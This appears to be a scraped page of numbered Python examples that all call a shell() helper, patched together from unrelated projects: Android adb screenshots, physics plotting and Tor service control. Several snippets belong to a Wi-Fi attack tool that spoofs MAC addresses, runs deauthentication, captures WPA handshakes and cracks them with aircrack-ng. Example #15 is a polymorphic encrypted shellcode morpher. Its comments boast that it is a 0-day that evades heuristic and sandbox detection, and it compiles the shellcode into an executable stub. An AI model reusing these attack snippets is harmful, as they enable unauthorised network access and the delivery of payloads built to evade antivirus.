Beispiel #1
0
    def spoof_mac(self, iface, custom):
        mac = macchanger().generate() if not custom else custom
        if not custom:
            if mac.lower() in shell('ifconfig'): self.spoof_mac(iface, custom)

        shell('macchanger -m {} {}'.format(mac, iface))
        shell('ifconfig {} up'.format(iface))
Beispiel #2
0
 def installTor(self):
     self.connection()
     if not self.alive: return
     print 'Installing Tor ...'
     shell(
         'echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list \
      && apt-get update && apt-get install tor -y && apt autoremove -y')
Beispiel #3
0
    def updateIp(self, recur=3):
        if not self.alive: self.exit()
        socks.socket.setdefaulttimeout(5)
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050, True)
        socket.socket = socks.socksocket

        try:
            ip = self.getIp()
            if all([not ip, recur]):
                print 'Error: Network unreachable'
                reset_counts = 2
                for _ in range(30):
                    if not self.alive: return
                    ip = self.getIp()
                    if ip: break
                    else:
                        if reset_counts:
                            reset_counts -= 1
                            shell('service network-manager restart')
                        sleep(1)
                if not ip: self.restartTor(recur - 1)
            if all([not ip, not recur]): self.connection()

            if ip in self.recentIPs.queue: self.restartTor()
            else:
                self.ip = ip
                self.recentIPs.put(ip)

        except:
            pass
Beispiel #4
0
def test_injection(iface):
 call(['clear'])
 shell('ifconfig {0} down && ifconfig {0} up'.format(iface))
 print '[-] Testing Packet Injection on {} ...'.format(iface)

 if not 'Injection is working' in shell('aireplay-ng -9 {}'.format(iface)):

  call(['clear'])
  exit('[!] Packet Injection is not working on {}!'.format(iface))
Beispiel #5
0
    def scan(self):

        # ask to reuse a saved handshake
        if os.path.exists(self._handshake_file):
            try:
                call(['clear'])
                prompt = raw_input('[-] {}Handshake{}: {}\n[-] Would you like to use a previously captured handshake? [Y/n] '.\
                 format(COLORS['blue'], COLORS['white'], self._handshake_file)).lower().strip()

                if prompt == 'y':
                    self.handshake = True
                    return self.handshake_path, self._handshake_file
            except KeyboardInterrupt:
                return
            except:
                pass

        # start accesspoint display thread
        self.accesspoint.is_alive = True
        Thread(target=self.accesspoint.start).start()

        # start airodump thread
        Thread(target=self.airodump).start()

        # start deauthentication thread
        Thread(target=self.attack).start()

        # wait for CTRL-C and a handshake
        while all([self.is_alive, not self.handshake]):
            try:
                sleep(1)
            except KeyboardInterrupt:
                self.is_alive = False
        else:
            sleep(0.5)
            shell('pkill airodump-ng')
            os.remove(self.accesspoint.csv_file)
            self.accesspoint.is_alive = False

        # save handshake
        if self.handshake:

            # configure the path
            if not os.path.exists(self.handshake_path):
                os.mkdir(self.handshake_path)
            else:
                shutil.rmtree(self.handshake_path)
                os.mkdir(self.handshake_path)

            # move the handshake
            shutil.move(self.handshake_file, self._handshake_file)
Beispiel #6
0
def img( latex ):
    hndl, fn = tempfile.mkstemp( suffix='.tex', dir='/tmp' )
    hndl = open( fn, 'w' )
    hndl.write( r'''\documentclass{article}
     \pagestyle{empty}
     \usepackage{graphicx}
     \begin{document}
     row %d 
     \end{document}'''%( latex ) )
    hndl.close()
    s,o = shell( 'cd /tmp && latex -halt-on-error %s'%(fn) )
    if s != 0: print o
    s,o = shell( 'cd /tmp && dvips -o %s -E %s'%( fn.replace('.tex','.ps'),
                                                  fn.replace('tex','dvi') ) )
    if s != 0: print o
    s,o = shell( 'cd /tmp && convert -density 800x800 %s %s'%( fn.replace('.tex','.ps'),
                                                               fn.replace('.tex','.jpg') ) )
    if s != 0: print o
    return fn.replace('.tex','.jpg')
Beispiel #7
0
 def screenshot_common(self, filename):
     '''
     if SK version <= 16
     Capture the screenshot via adb and store it in the specified location.
     '''
     png = os.path.basename(filename)
     if self.serial:
         shell('adb -s %s shell screencap %s%s' % (self.serial, self._internal_storage_dir, png))
         shell('adb -s %s pull %s%s %s' % (self.serial, self._internal_storage_dir, png, filename))
     else:
         shell('adb shell screencap %s%s' % (self._internal_storage_dir, png))
         shell('adb pull %s%s %s' % (self._internal_storage_dir, png, filename))
     return True
Beispiel #8
0
    def scan(self):
        ''' scan for accesspoints '''

        # start accesspoints display thread
        self.accesspoints.is_alive = True
        Thread(target=self.accesspoints.start).start()

        # start airodump thread
        Thread(target=self.airodump).start()

        # wait for CTRL-C
        while self.accesspoints.is_alive:
            try:
                sleep(1)
            except KeyboardInterrupt:
                self.accesspoints.is_alive = False
        else:
            sleep(0.5)
            shell('pkill airodump-ng')
            os.remove(self.accesspoints.csv_file)
Beispiel #9
0
 def screenshot_common(self, filename):
     '''
     if SK version <= 16
     Capture the screenshot via adb and store it in the specified location.
     '''
     png = os.path.basename(filename)
     if self.serial:
         shell('adb -s %s shell screencap /sdcard/%s' % (self.serial, png))
         shell('adb -s %s pull /sdcard/%s %s' %
               (self.serial, png, filename))
     else:
         shell('adb shell screencap /sdcard/%s' % png)
         shell('adb pull /sdcard/%s %s' % (png, filename))
     return True
Beispiel #10
0
def _makeLog(path, result='failure'):
    '''
    pull log/snapshot from device to local report folder
    '''
    path = _mkdir(path)
    snapshot_name = '%s%s%s' % (result, '.', 'png')
    serial = os.environ['ANDROID_SERIAL'] if os.environ.has_key('ANDROID_SERIAL') else None
    #snapshot & system log
    if serial:
        shell('adb -s %s shell screencap /sdcard/%s' % (serial, snapshot_name))
        shell('adb -s %s pull /sdcard/%s %s' % (serial, snapshot_name, path))
    else:
        shell('adb shell screencap /sdcard/%s' % snapshot_name)
        shell('adb pull /sdcard/%s %s' % (snapshot_name, path))
    _zipFolder(join(dirname(path), 'logs'), join(dirname(path), 'log.zip'))
Beispiel #11
0
def _makeLog(path, bridge='adb', serial=None, result='failure'):
    '''
    pull log/snapshot from device to local report folder
    '''
    path = _mkdir(path)
    exe = _findExetuable(bridge)
    snapshot_name = '%s%s%s' % (result, '.', 'png')
    #serial = os.environ['ANDROID_SERIAL'] if os.environ.has_key('ANDROID_SERIAL') else None

    #snapshot & system log
    if serial:
        shell('%s -s %s shell screencap /sdcard/%s' %
              (exe, serial, snapshot_name))
        shell('%s -s %s pull /sdcard/%s %s' %
              (exe, serial, snapshot_name, path))
    else:
        shell('%s shell screencap /sdcard/%s' % (exe, snapshot_name))
        shell('%s pull /sdcard/%s %s' % (exe, snapshot_name, path))
    _zipFolder(join(dirname(path), 'logs'), join(dirname(path), 'log.zip'))
Beispiel #12
0
 def restartTor(self, num=3):
     shell('service tor restart')
     sleep(1.5)
     self.updateIp(num)
Beispiel #13
0
 def create_iface(self, iface, output_iface, mac=None):
     if output_iface in self.get_ifaces(): self.remove_iface(output_iface)
     shell('iw {} interface add {} type monitor'.format(
         iface, output_iface))
     self.spoof_mac(output_iface, mac)
Beispiel #14
0
def tor_stop():
    shell('service tor stop')
Beispiel #15
0
	NOPsled=morphSig(sled)
else:
	NOPsled=''
signatureEnd=morphSig()
oneHalfKey='\x49\xbe'+key[:len(key)/2]+'\x66\x49\x0f\x6e'+movq14[0]
twoHalfKey='\x49\xbf'+key[len(key)/2:][len(key)/4:]+key[len(key)/2:][:len(key)/4]+'\x66\x49\x0f\x6e'+movq15[3]
# another 2^128 possibilities per block
insertKey='\x0f\xc6'+xmm[0][0]+'\x1b\x0f\xc6'+xmm[0][3]+'\x1b\x0f\x28'+xmm[5][0]+'\x66\x0f\xef'+xmm[2][2]
expandKey='\x66\x0f\x3a\xdf'+xmm[1][0]+'\x01\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x0f\x38\xdb'+xmm[6][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x02\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x0f\x38\xdb'+xmm[7][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x08\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x44\x0f\x38\xdb'+xmm[1][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x10\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x44\x0f\x38\xdb'+xmm[2][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x40\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x44\x0f\x38\xdb'+xmm[4][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x80\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x44\x0f\x38\xdb'+xmm[5][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x1b\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x66\x44\x0f\x38\xdb'+xmm[6][0]+'\x66\x0f\x3a\xdf'+xmm[1][0]+'\x36\x66\x0f\x70'+xmm[1][1]+'\xff\x0f\xc6'+xmm[2][0]+'\x10\x66\x0f\xef'+xmm[0][2]+'\x0f\xc6'+xmm[2][0]+'\x8c\x66\x0f\xef'+xmm[0][2]+'\x66\x0f\xef'+xmm[0][1]+'\x44\x0f\x28'+xmm[7][0]
decryption=prepare(ciphertext,address)
# futher obfuscation of values is possible, but since it's already a 0-day, there's no need, for now
exe='\xff\xe6'
shellcode=NOPsled+signatureStart+oneHalfKey+twoHalfKey+insertKey+expandKey+decryption+exe+signatureEnd
print ''
print "MORPHED CODE (decipher with encrypted code): "+hex2str(shellcode)
print ''
input=raw_input('PRODUCE AN EXECUTABLE (blank to confirm)? : ')
#input=input.lower()
#if input == 'y' or input == 'yes':
if not input :
	file=open("/tmp/AEShellcode.c","w")
	file.write("unsigned char shellcode[]=\""+hex2str(shellcode)+"\";")
	file.write("main(){int (*ret)()=(int(*)()) shellcode; ret();}")
	file.close()
	execute=shell("gcc -fno-stack-protector -z execstack /tmp/AEShellcode.c -o AEShellcode")
# stack protector is mandatory in some cases
	print ''
	print 'READY TO LAUNCH : ./AEShellcode'
print ''
# as you can see, the total number of possible produced shellcodes for one given of this morpher is far more that the number of atoms in the univers (>10^80) and it's pretty hard to heuristically detect it, as well as using sandboxing
Beispiel #16
0
 def check_handshake(self):
     if 'WPA (1 handshake)' in shell(
             'aircrack-ng {}-01.cap'.format(SCAN_OUPUT)):
         self.handshake = True
Beispiel #17
0
    print
    exec(cfgexec)

title = normalize(myMECalculation.mehndl.name())

log = None
if verbose:
    log = msg.msglog('main', 'debug', useColor=False)
else:
    log = msg.msglog('main', 'info', useColor=False)

ROOT.GlobalFlags.debug = verbose
ROOT.GlobalFlags.max_debug = 10
ROOT.gErrorIgnoreLevel = ROOT.kError

stat, host = shell('hostname')
stat, time = shell('date')
log.info('running on [%s] @ %s' % (host, time))
log.info('will perform [%s] ME calculation on file(s) %s' %
         (title, str(ifilen)))

# ------------------------------------------------------------------------
#
# merge and load the input file(s)
#
# ------------------------------------------------------------------------

hadded = False
if len(ifilen) > 1:
    ifilen = '%s.root' % (id_generator())
    stat, out = shell(' '.join(['hadd -f %s.root' % ()] + ifilen))
Beispiel #18
0
 def restart_net_manager(self):
     shell('service network-manager restart')
Beispiel #19
0
def plot2D_andSave( samplecollection, histoname, samplenames, 
                    fname, format = ['pdf'], opt = 'LEGO2', 
                    canvas = None, legend = False, xtitle = '', ytitle = '', 
                    zlog = False, doSum = True, doScale = False, doText = False ):
    '''
    Format 2D histograms and save
    '''
    __log.info( 'create 2D plot for [%s]'%( histoname ) )

    can = canvas
    if can == None:
        can = plotter( histoname )

    if zlog:
        can.SetLogz(1)

#    can.SetPhi(210.001)
#    can.SetTheta(60.001)
#    can.SetPhi(20.001)
#    can.SetTheta(60.001)
    can.SetPhi(5.001)
    can.SetTheta(80.001)

    samplemap = {}
    for item in samplecollection.get_samples():
        if item.get_name() not in samplenames:
            continue
        samplemap[item.get_name()] = item
    bkg_histos = []
    sig_histos = []
    for key in samplenames: 
        s = samplemap[key]
        if s.get_stype() == sigtype:
            sig_histos += [s[histoname]()]
        if s.get_stype() == bkgtype:
            bkg_histos += [s[histoname]()]
    if doSum:
        sum_bkg, stk_bkg = sumhistograms( bkg_histos, histoname + 'Bkg' )
        sum_sig, stk_sig = sumhistograms( sig_histos, histoname + 'Sig' )

    zax, yax, xax = None, None, None

    shell( 'mkdir -p %s'%( os.path.dirname( fname ) ) )
    
    for ihist, hist in enumerate( bkg_histos + sig_histos ):
        prepare_2Dhist(hist, opt, xtitle, ytitle, doScale, doText)
        can += hist   
        can += style.label( 0.05, 0.95, samplenames[ihist].upper(), can, size = 0.04 )
        for ext in format:
            can.Print( fname + '_' + samplenames[ihist] + '.' + ext )

    if doSum:
        prepare_2Dhist(sum_bkg, opt, xtitle, ytitle, doScale, doText)
        can += sum_bkg   
        can += style.label( 0.05, 0.95, 'BKG', can, size = 0.04 )
        for ext in format:
            can.Print( fname + '_bkg' + '.' + ext )
            
        prepare_2Dhist(sum_sig, opt, xtitle, ytitle, doScale, doText)
        can += sum_sig   
        can += style.label( 0.05, 0.95, 'SIGNAL', can, size = 0.04 )
        for ext in format:
            can.Print( fname + '_sig' + '.' + ext )
        
    return can
Beispiel #20
0
def tor_restart():
    shell('service tor restart')
    sleep(1.5)
Beispiel #21
0
def tor_is_active():
    return not 'dead' in shell('service tor status')
Beispiel #22
0
        latex += r'\end{frame}'
        ipg += 1

if (igr+1) % nppg != 0:
    latex += r'\end{center}' + endl
    latex += r'\end{changemargin}' + endl
    latex += r'\vspace{-0.02cm}\begin{shaded}\vspace{-0.15cm}\begin{center}\textcolor{white}{{\footnotesize $%0g <$ BDT $< %0g$}}\end{center}\end{shaded}'%windows[ipg]
    latex += r'\end{frame}'
    ipg += 1

latex += r'\end{document}' + endl

with open( 'plots/%s/%s.tex'%( os.environ['REGION'], name ), 'w' ) as f:
    f.write( latex ) 

stat, out = shell( 'cd plots/%s; pdflatex -halt-on-error %s.tex'%( os.environ['REGION'], name ) )
if stat != 0:
    print out

#replace pdf and jpg with eps and write one frame at a time to a file
epslatex = latex.replace('.jpg','.eps').replace('.pdf','.eps')
winframe={}
texfiles = {}
for win in windows:
    winframe[ str(win) ] = epslatex[epslatex.find(r'\begin{frame}'):epslatex.find(r'\end{frame}')+11]
    epslatex = epslatex.replace( winframe[ str(win) ], '' )
    xlo,xhi = win
    texfiles[ str(win) ] = 'plots/{0}/{1}_eps_{2:0g}_{3:0g}.tex'.format(os.environ['REGION'], name, int(xlo/0.001), int(xhi/0.001) )

for win in windows:
    with open( texfiles[ str(win) ], 'w' ) as f:
Beispiel #23
0
 def __del__(self):
     if self._ownfile:
         s,o = shell('rm -rf %s'%(self._fn))
Beispiel #24
0
    if nb < 0:
        print 'ERROR :: processing entry failed'
        sys.exit()
    flag = True
    if selection != None:
        flag = selection.Contains(ientry)
    if flag: brref[0] = formula.EvalInstance()
    else:    brref[0] = dummyweight
    if ofile != None or addflag:
        otree.Fill()
    else:
        obranch.Fill()
    if ientry % min(options.maxevents/10, itree.GetEntries()/10) == 0 and ientry > 0:
        sys.stdout.write('#')
        sys.stdout.flush()
sys.stdout.write(']')
sys.stdout.flush()

otree.Write(otree.GetName(), ROOT.TObject.kOverwrite)

if addflag: ## update friend status of input tree
    itree.Write('', ROOT.TObject.kOverwrite) 

ifile.Close()
if ofile != None:
    ofile.Close()

shell('rm -rf %s %s_C.*'%(tmpname, tmpname.replace('.C','')))

print
Beispiel #25
0
    print
    exec( cfgexec )

title = normalize( myMECalculation.mehndl.name( ) )

log = None
if verbose:
    log = msg.msglog( 'main', 'debug', useColor = False )
else:
    log = msg.msglog( 'main', 'info',  useColor = False )

ROOT.GlobalFlags.debug = verbose
ROOT.GlobalFlags.max_debug = 10
ROOT.gErrorIgnoreLevel = ROOT.kError

stat, host = shell( 'hostname' )
stat, time = shell( 'date' )
log.info( 'running on [%s] @ %s'%( host, time ) )
log.info( 'will perform [%s] ME calculation on file(s) %s'%( title, str(ifilen)  ) )
    
# ------------------------------------------------------------------------
#
# merge and load the input file(s)
#
# ------------------------------------------------------------------------

hadded = False
if len( ifilen ) > 1:
    ifilen = '%s.root'%( id_generator() )
    stat, out = shell( ' '.join( ['hadd -f %s.root'%( )] + ifilen ) )
    log.debug( out )
Beispiel #26
0
def grabLog(path):
    '''
    pull log/snapshot from device to local report folder
    '''
    path = _mkdir(path)
    serial = os.environ['ANDROID_SERIAL'] if os.environ.has_key('ANDROID_SERIAL') else None
    #snapshot & system log
    if serial:
        shell('adb -s %s shell screencap /sdcard/%s' % (serial, FAILURE_SNAPSHOT_NAME))
        shell('adb -s %s pull /sdcard/%s %s' % (serial, FAILURE_SNAPSHOT_NAME, path))
        shell('adb -s %s logcat -v time -d > %s ' % (serial, join(path, LOG_FILE_NAME)))
    else:
        shell('adb shell screencap /sdcard/%s' % FAILURE_SNAPSHOT_NAME)
        shell('adb pull /sdcard/%s %s' % (FAILURE_SNAPSHOT_NAME, path))
        shell('adb logcat -v time -d > %s ' % join(path, LOG_FILE_NAME))
    zipFolder(join(dirname(path), 'logs'), join(dirname(path), 'log.zip'))
def cryptCode(key, shellcode):
    # we need to use a file as a pipe, otherwise Python will fail input encoding...
    file = open("/tmp/AEShellcode.s", "w")
    file.write(key + shellcode)
    file.close()
    return shell("cat /tmp/AEShellcode.s | " + cipher)[1]
Beispiel #28
0
title = normalize( myMECalculation.mehndl.name( ) )

## log.info( 'will perform [%s] ME calculation in [%d] jet bin'%( title, myMEJetN ) )

# ------------------------------------------------------------------------
#
# inspect the input file(s)
#
# ------------------------------------------------------------------------

log.info( 'peak %s'%( ifilen ) )

hadded = False
if len( ifilen ) > 1:
    ifilen = '%s.root'%( id_generator() )
    stat, out = shell( ' '.join( ['hadd -f %s.root'%( )] + ifilen ) )
    log.debug( out )
    hadded = True
else:
    ifilen = ifilen.pop()

ifile = ROOT.TFile.Open( ifilen, 'read' )
if ifile == None or ifile.IsZombie():
    log.fatal( 'file [%s] not found'%( ifilen ) )
    
totalNumEvents = ifile.Get( 'HWWTree' ).GetEntries()

log.info( 'found [%d] events total'%( totalNumEvents ) )

# ------------------------------------------------------------------------
#
Beispiel #29
0
 def airodump(self):
     shell('airodump-ng -a -w {} --output-format csv {}'.\
     format(SCAN_OUPUT, SCAN_INTERFACE))
Beispiel #30
0
 def remove_iface(self, iface):
     shell('iw dev {} del'.format(iface))
Beispiel #31
0
 def airodump(self):
     shell('airodump-ng -a --bssid {} -c {} -w {} --output-format cap,csv {}'.\
     format(self.bssid, self.chann, SCAN_OUPUT, SCAN_INTERFACE))
Beispiel #32
0
 def stopTor(self):
     shell('service tor stop')
Beispiel #33
0
    def aircrack(self):
        aircrack = shell('aircrack-ng -w {} {}'.format(
            settings.PASSLIST, self.handshake)).split('\n')[-1]

        if any([not 'KEY FOUND' in aircrack, self.passphrase]): return
        self.passphrase = aircrack.split()[-2]
Beispiel #34
0
 def get_ifaces(self):
     return shell('airmon-ng')
Beispiel #35
0
def plotComp_andSave( histoname, histos, linecolors,
                      fname, format = ['pdf'], opt = 'HIST', doScale = False,
                      canvas = None, legend = True, lopt = 'L', legchanges = [],
                      title = '', xtitle = '', ytitle = '', toptext = '' ):
    '''
    Draw 1D histograms and save
    '''
    __log.info( 'create 1D plot for [%s]'%( histoname ) )

    if len(linecolors) < len(histos):
        __log.warning( 'less colors than histograms' )
        for i in xrange(len(histos) - len(linecolors)):
            linecolors.append(1)

    can = canvas
    if can == None:
        can = plotter( histoname )

    ## Prepare legend
    if legend:
        legendFontSize = 0.035
        deltaX = -0.1
        deltaY = 0.
        xl = deltaX + globalcfg.legendX
        xh = deltaX + globalcfg.legendX + globalcfg.legendW
        yl = deltaY + globalcfg.legendY - (legendFontSize * len(histos) * 1.5)
        yh = deltaY + globalcfg.legendY
        
        leg = ROOT.TLegend( xl, yl, xh, yh )
        leg.SetTextSize(legendFontSize)
        leg.SetFillColor(0)
        leg.SetBorderSize(0)
        leg.SetTextFont(62)
            
    ## Draw histos
    miny, maxy = 1, 0
    for i, h in enumerate( histos ):
        if doScale and h.Integral() > 0:
            h.Scale( 1.0 / h.Integral() )
        maxy = max( maxy, h.GetBinContent( h.GetMaximumBin() ) )
        miny = min( miny, h.GetBinContent( h.GetMinimumBin() ) )
        miny = max( miny, 0 )  # For positive-definite y-axis (usually events)

    sopt = ''
    
    for i, h in enumerate(histos):
        if title != '':
            h.SetTitle(title)
        prepare_1Dhist(h, linecolors[i], opt, sopt, miny, maxy, xtitle, ytitle)
        can += h
        if legend:
            hname = h.GetName().rsplit('_',1)[0].split('_',1)[1].replace('_', ', ')
            for change in legchanges:
                hname = hname.replace(change[0], change[1])
            leg.AddEntry(h, hname, lopt)
        if i == 0:
            sopt = 'SAME'
    
    ## Draw legend
    can += style.label( 0.05, 0.95, toptext, can, size = 0.04 )
    if legend:
        leg.Draw('SAME')
        can += leg

    ## Save
    shell( 'mkdir -p %s'%( os.path.dirname( fname ) ) )
    for ext in format:
        can.Print( fname + '.' + ext )
    
    return can
Beispiel #36
0
def tor_exists():
    return shell('which tor')
Beispiel #37
0
 def restart_net_manager(self):
  if self.is_alive:
   shell('service network-manager restart')
Beispiel #38
0
def find_interface(iface):
 if not iface in shell('iwconfig'):
  call(['clear'])
  exit('[!] Unable to find {}'.format(iface))
ROOT.GlobalFlags.debug = verbose
ROOT.gErrorIgnoreLevel = ROOT.kError

log.info('will perform [%s] ME calculation in [%d] jet bin' %
         (title, myMEJetN))

# ------------------------------------------------------------------------
#
# merge and load the input file(s)
#
# ------------------------------------------------------------------------

hadded = False
if len(ifilen) > 1:
    ifilen = '%s.root' % (id_generator())
    stat, out = shell(' '.join(['hadd -f %s.root' % ()] + ifilen))
    log.debug(out)
    hadded = True
else:
    ifilen = ifilen.pop()

ifile = ROOT.TFile.Open(ifilen, 'read')
if ifile == None or ifile.IsZombie():
    log.fatal('file [%s] not found' % (ifilen))

itree = ifile.Get('LHEF')
itree.SetBranchStatus('*', True)

# ------------------------------------------------------------------------
#
# load the output file
Beispiel #40
0
        if (igr+1) % nppg == 0:
            latex += r'\end{center}' + endl
            latex += r'\end{changemargin}' + endl
            # latex += r'\vspace{-0.5cm} \begin{columns}[c]' + endl
            # latex += r'\column{0.015\textwidth}' + endl
            # latex += r'\column{1.100\textwidth} \resizebox{!}{1.0\textwidth}{ \begin{tabular}[%s]'%( ''.join( ['c' for ivar in xrange(len(variables))] ) ) + endl
            # for var in variables:
            #     latex += r'& {\fontsize{3}{8} \selectfont $%s$}'%( convert(var) )
            #     ## r'\column{%0.2f\textwidth} \begin{center} {\fontsize{3}{8} \selectfont $%s$}  \end{center} '%( ( 1.0 / (ncolumns) - 0.030 ), convert(var) ) + endl
            # latex += r'\\ \end{tabular} } \end{columns}' + endl
            latex += r'\vspace{-0.10cm}\begin{shaded}\vspace{-0.35cm}\begin{center}\textcolor{white}{{\footnotesize $%0g <$ BDT $< %0g$}}\end{center}\end{shaded}'%windows[ipg]
            latex += r'\end{frame}' + endl
            ipg += 1

    if (igr+1) % nppg != 0:
        latex += r'\end{center}' + endl
        latex += r'\end{changemargin}' + endl
        latex += r'\vspace{-0.35cm}\begin{shaded}\vspace{-0.4cm}\begin{center}\textcolor{white}{{\footnotesize $%0g <$ BDT $< %0g$}}\end{center}\end{shaded}'%windows[ipg]
        latex += r'\end{frame}' + endl
        ipg += 1
        
    latex += r'\end{document}' + endl

    f = open( 'plots/%s/%s.tex'%( os.environ['REGION'], name ), 'w' )
    f.write( latex )
    f.close()

    stat, out = shell( 'cd plots/%s; latex -halt-on-error %s.tex'%( os.environ['REGION'], name ) )
    if stat != 0:
        print out